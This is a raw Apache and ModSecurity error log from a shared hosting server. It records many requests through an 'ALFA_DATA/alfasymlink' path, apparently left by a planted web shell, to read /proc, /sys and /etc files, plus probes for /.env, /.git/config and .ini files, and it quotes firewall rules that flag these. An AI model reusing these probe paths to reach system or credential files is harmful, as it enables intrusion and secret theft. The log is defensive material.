[Mon Oct 26 20:58:50.274260 2026] [core:error] [pid 3100940:tid 3100940] (13)Permission denied: [client 52.22.87.224:24494] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/compact
[Mon Oct 26 20:58:54.180770 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 54.197.114.76:23292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/driver/unbind
[Mon Oct 26 20:58:54.181253 2026] [security2:error] [pid 3128624:tid 3128624] [client 54.197.114.76:23292] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/driver/unbind"] [unique_id "at_3Ti-AKBd00cmosRNIPQAAAAE"]
[Mon Oct 26 20:58:54.181285 2026] [security2:error] [pid 3128624:tid 3128624] [client 54.197.114.76:23292] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/driver/unbind"] [unique_id "at_3Ti-AKBd00cmosRNIPQAAAAE"]
[Mon Oct 26 20:58:58.157175 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 107.20.224.184:48464] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:59:08.854027 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 185.191.171.8:14392] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/cpu_slabs
[Mon Oct 26 20:59:10.275549 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 34.236.41.241:63998] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:59:15.294750 2026] [security2:error] [pid 3100940:tid 3100940] [client 130.12.180.165:63952] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_3Yz77nSD73jfhp0aE0wAAAAc"]
[Mon Oct 26 20:59:15.295070 2026] [security2:error] [pid 3100940:tid 3100940] [client 130.12.180.165:63952] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_3Yz77nSD73jfhp0aE0wAAAAc"]
[Mon Oct 26 20:59:15.295546 2026] [security2:error] [pid 3100940:tid 3100940] [client 130.12.180.165:63952] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at_3Yz77nSD73jfhp0aE0wAAAAc"]
[Mon Oct 26 20:59:18.147404 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 18.214.124.6:33513] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:59:22.129304 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 100.29.107.38:39354] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:59:26.203858 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 50.16.72.185:55511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:59:34.254177 2026] [ssl:error] [pid 3084053:tid 3084053] (5)Input/output error: [client 100.28.204.82:29117] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 20:59:58.331104 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 18.232.36.1:56124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.1/rescan
[Mon Oct 26 21:00:02.196971 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 54.166.104.83:40865] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:00:22.198798 2026] [ssl:error] [pid 3130190:tid 3130190] (70014)End of file found: [client 34.204.150.196:27463] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:00:26.135622 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.235.239.240:17564] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:00:30.165345 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.204.81.148:53265] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:00:38.198588 2026] [security2:error] [pid 3128624:tid 3128624] [client 23.20.178.124:31545] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:0c/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu0/node0/memory16/"] [unique_id "at_3ti-AKBd00cmosRNIQQAAAAE"]
[Mon Oct 26 21:00:38.198640 2026] [security2:error] [pid 3128624:tid 3128624] [client 23.20.178.124:31545] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:0c/subsystem/devices/ACPI0010:00/LNXCPU:01/physical_node/driver/cpu0/node0/memory16/"] [unique_id "at_3ti-AKBd00cmosRNIQQAAAAE"]
[Mon Oct 26 21:00:43.288693 2026] [security2:error] [pid 3098114:tid 3098114] [client 16.216.88.234:4096] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/275_mod_negotiation.conf"] [unique_id "at_3u4U8RArHmY5bTmWv2wAAAAY"]
[Mon Oct 26 21:00:43.289228 2026] [security2:error] [pid 3098114:tid 3098114] [client 16.216.88.234:4096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/275_mod_negotiation.conf"] [unique_id "at_3u4U8RArHmY5bTmWv2wAAAAY"]
[Mon Oct 26 21:00:43.289564 2026] [security2:error] [pid 3098114:tid 3098114] [client 16.216.88.234:4096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/275_mod_negotiation.conf"] [unique_id "at_3u4U8RArHmY5bTmWv2wAAAAY"]
[Mon Oct 26 21:00:58.211272 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 18.207.89.138:39528] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:01:22.302163 2026] [ssl:error] [pid 3122515:tid 3122515] (5)Input/output error: [client 100.24.149.244:11462] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:01:30.138873 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 34.193.2.57:17936] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:01:34.201552 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 35.174.253.85:16048] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:01:38.157676 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.87.95.7:51406] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:01:46.209106 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 18.210.58.238:42835] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:01:58.159302 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 18.208.11.93:9115] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:02:02.183837 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 85.208.96.209:53996] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/seq_file/slabs
[Mon Oct 26 21:02:10.188121 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 184.73.239.35:24225] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:02:14.127010 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 18.210.58.238:40087] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:02:26.205747 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 54.147.182.90:56703] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:02:34.136912 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 50.16.248.61:5638] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:02:46.201727 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 52.203.152.231:64945] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:02:50.273224 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 100.28.133.214:53338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXCPU:00/physical_node/subsystem/drivers/processor/cpu1/driver/cpu0/crash_notes
[Mon Oct 26 21:02:58.294756 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.2.83.227:1681] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:02:58.294961 2026] [security2:error] [pid 3098116:tid 3098116] [client 52.2.83.227:1681] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0303:00/path"] [unique_id "at_4QjS1e-yu7xYT1dr8wQAAAAk"]
[Mon Oct 26 21:02:58.294990 2026] [security2:error] [pid 3098116:tid 3098116] [client 52.2.83.227:1681] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/PNP0303:00/path"] [unique_id "at_4QjS1e-yu7xYT1dr8wQAAAAk"]
[Mon Oct 26 21:03:10.141186 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 3.216.86.144:46197] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:03:18.195181 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 54.85.126.86:20589] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:03:22.150518 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 3.217.82.254:4305] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:03:30.199908 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 54.157.84.74:6526] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:03:31.016536 2026] [core:error] [pid 3098116:tid 3098116] (13)Permission denied: [client 185.191.171.19:31848] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/slabs
[Mon Oct 26 21:03:34.231906 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 44.208.223.68:55189] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:03:42.272431 2026] [ssl:error] [pid 3098114:tid 3098114] (70014)End of file found: [client 52.3.102.51:62928] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:03:50.124136 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.147.182.90:46434] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:03:54.126532 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 100.24.149.244:17933] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:03:58.296711 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 85.208.96.201:60290] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:03:58.296915 2026] [security2:error] [pid 3098113:tid 3098113] [client 85.208.96.201:60290] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/block/vda/vda2/stat"] [unique_id "at_4frHarSgES5WqcDhJfwAAAAU"]
[Mon Oct 26 21:03:58.296937 2026] [security2:error] [pid 3098113:tid 3098113] [client 85.208.96.201:60290] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/block/vda/vda2/stat"] [unique_id "at_4frHarSgES5WqcDhJfwAAAAU"]
[Mon Oct 26 21:04:02.309987 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 54.152.163.42:65413] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:04:14.148756 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 44.217.177.142:32782] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/subsystem/ttyS3/device/tty/ttyS1/port
[Mon Oct 26 21:04:22.148696 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.200.142.199:51542] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:04:26.140747 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 3.219.81.66:15921] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:03.0/driver/0000:00:03.0/subsystem/drivers/vmd/unbind
[Mon Oct 26 21:04:30.126918 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 44.223.116.180:22552] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:04:34.163113 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 100.29.160.53:16265] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:04:36.271382 2026] [security2:error] [pid 3117428:tid 3117428] [client 43.164.3.182:46358] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimox2.php"] [unique_id "at_4pCWN_iofYZIHyv48lgAAAAs"]
[Mon Oct 26 21:04:38.284794 2026] [ssl:error] [pid 3130075:tid 3130075] (70014)End of file found: [client 35.174.253.85:3637] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:05:06.323160 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 54.159.18.27:49438] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:05:10.181626 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 18.205.91.101:62424] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:05:18.250368 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 18.232.12.157:18852] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:05:42.503062 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 100.25.120.246:62682] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:05:42.937591 2026] [security2:error] [pid 3130075:tid 3130075] [client 178.151.245.162:40718] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/precurio/precurio.ini"] [unique_id "at_45rRvv9rueX6FuiObKwAAAAM"]
[Mon Oct 26 21:05:42.938112 2026] [security2:error] [pid 3130075:tid 3130075] [client 178.151.245.162:40718] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/precurio/precurio.ini"] [unique_id "at_45rRvv9rueX6FuiObKwAAAAM"]
[Mon Oct 26 21:05:42.939379 2026] [security2:error] [pid 3130075:tid 3130075] [client 178.151.245.162:40718] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at_45rRvv9rueX6FuiObKwAAAAM"]
[Mon Oct 26 21:05:54.143844 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 3.218.35.239:62318] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:00/physical_node/subsystem/drivers/ata_generic/remove_id
[Mon Oct 26 21:06:10.199447 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.221.105.234:50034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:06:12.689921 2026] [ssl:error] [pid 3128624:tid 3128624] (70014)End of file found: [client 85.208.96.206:52696] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:06:18.172947 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 54.210.152.179:33718] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:06:26.227951 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 23.21.148.226:34916] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:06:34.141833 2026] [ssl:error] [pid 3098114:tid 3098114] (5)Input/output error: [client 52.44.148.203:5904] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:06:42.190261 2026] [core:error] [pid 3128624:tid 3128624] (13)Permission denied: [client 3.226.106.93:55665] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/driver/cpu0/node0/compact
[Mon Oct 26 21:07:10.132540 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.1.157.90:16243] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:07:26.201001 2026] [ssl:error] [pid 3132187:tid 3132187] (70014)End of file found: [client 44.212.131.50:32683] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:07:27.077230 2026] [core:error] [pid 3098114:tid 3098114] (13)Permission denied: [client 85.208.96.210:33444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/red_zone
[Mon Oct 26 21:07:30.247874 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 34.194.233.48:52330] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:07:36.833349 2026] [authz_core:error] [pid 3098116:tid 3098116] [client 20.53.239.152:3975] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 21:07:38.154985 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 52.70.123.241:28478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty15/subsystem/console/subsystem/ttyS3/line
[Mon Oct 26 21:07:45.133275 2026] [cgi:error] [pid 3098116:tid 3098116] [client 20.53.239.152:3975] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Mon Oct 26 21:07:46.234127 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 54.84.147.79:18763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:07:58.208880 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 100.29.128.75:51588] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:08:01.163307 2026] [core:error] [pid 3132187:tid 3132187] (13)Permission denied: [client 85.208.96.202:19268] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/file_lock_cache/objects_partial
[Mon Oct 26 21:08:02.139444 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 18.214.124.6:20144] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 21:08:05.937435 2026] [security2:error] [pid 3098114:tid 3098114] [client 102.220.163.241:62012] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at_5dYU8RArHmY5bTmWv9QAAAAY"]
[Mon Oct 26 21:08:05.937701 2026] [security2:error] [pid 3098114:tid 3098114] [client 102.220.163.241:62012] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at_5dYU8RArHmY5bTmWv9QAAAAY"]
[Mon Oct 26 21:08:05.937992 2026] [security2:error] [pid 3098114:tid 3098114] [client 102.220.163.241:62012] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at_5dYU8RArHmY5bTmWv9QAAAAY"]
[Mon Oct 26 21:08:06.118559 2026] [security2:error] [pid 3117428:tid 3117428] [client 102.220.163.241:29964] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at_5diWN_iofYZIHyv48mgAAAAs"]
